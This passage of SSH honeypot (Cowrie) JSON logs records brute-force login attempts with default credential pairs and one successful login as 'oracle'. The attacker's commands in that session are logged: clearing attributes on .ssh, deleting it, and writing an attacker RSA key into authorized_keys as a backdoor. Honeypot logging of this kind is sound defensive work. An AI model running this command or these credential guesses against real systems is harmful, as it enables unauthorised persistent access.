sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:00:58.954950Z","src_ip":"91.92.42.227","session":"73582c273ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:00.281407Z","src_ip":"91.92.42.227","session":"73582c273ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:01.614102Z","src_ip":"91.92.42.227","session":"73582c273ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49638,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d305d915a50","protocol":"ssh","message":"New connection: 91.92.42.227:49638 (10.17.0.5:22) [session: 0d305d915a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:06.443191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:06.567094Z","src_ip":"91.92.42.227","session":"0d305d915a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:06.571272Z","src_ip":"91.92.42.227","session":"0d305d915a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:07.252814Z","src_ip":"91.92.42.227","session":"0d305d915a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:08.441458Z","src_ip":"91.92.42.227","session":"0d305d915a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49678,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a479f782edc","protocol":"ssh","message":"New connection: 91.92.42.227:49678 (10.17.0.5:22) [session: 6a479f782edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:13.443347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:13.620220Z","src_ip":"91.92.42.227","session":"6a479f782edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:13.623662Z","src_ip":"91.92.42.227","session":"6a479f782edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:14.550853Z","src_ip":"91.92.42.227","session":"6a479f782edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:15.843880Z","src_ip":"91.92.42.227","session":"6a479f782edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49668,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb9796916d5","protocol":"ssh","message":"New connection: 91.92.42.227:49668 (10.17.0.5:22) [session: deb9796916d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:19.965640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:20.141836Z","src_ip":"91.92.42.227","session":"deb9796916d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:20.145103Z","src_ip":"91.92.42.227","session":"deb9796916d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:21.907191Z","src_ip":"91.92.42.227","session":"deb9796916d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:23.349712Z","src_ip":"91.92.42.227","session":"deb9796916d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40736,"dst_ip":"10.17.0.5","dst_port":22,"session":"0238bb7d7481","protocol":"ssh","message":"New connection: 91.92.42.227:40736 (10.17.0.5:22) [session: 0238bb7d7481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:27.141888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:27.250503Z","src_ip":"91.92.42.227","session":"0238bb7d7481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:27.253925Z","src_ip":"91.92.42.227","session":"0238bb7d7481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Ab123456","message":"login attempt [alex/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:27.991443Z","src_ip":"91.92.42.227","session":"0238bb7d7481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:29.109951Z","src_ip":"91.92.42.227","session":"0238bb7d7481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40271,"dst_ip":"159.203.135.109","dst_port":22,"session":"be4d5e27c427","protocol":"ssh","message":"New connection: 168.167.228.74:40271 (159.203.135.109:22) [session: be4d5e27c427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:32.860876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:32.865219Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:33.114932Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle#2025","message":"login attempt [oracle/oracle#2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.159060Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40750,"dst_ip":"10.17.0.5","dst_port":22,"session":"c002a6c284b5","protocol":"ssh","message":"New connection: 91.92.42.227:40750 (10.17.0.5:22) [session: c002a6c284b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.571655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.605768Z","src_ip":"91.92.42.227","session":"c002a6c284b5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.709954Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.713052Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.717193Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:34.726867Z","src_ip":"91.92.42.227","session":"c002a6c284b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.100629Z","src_ip":"91.92.42.227","session":"c002a6c284b5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.217502Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.520466Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.524225Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.779626Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:35.783602Z","src_ip":"168.167.228.74","session":"be4d5e27c427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40272,"dst_ip":"159.203.135.109","dst_port":22,"session":"118ce2007777","protocol":"ssh","message":"New connection: 168.167.228.74:40272 (159.203.135.109:22) [session: 118ce2007777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:36.034543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:36.039164Z","src_ip":"168.167.228.74","session":"118ce2007777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:36.296767Z","src_ip":"168.167.228.74","session":"118ce2007777","protocol":"ssh"}
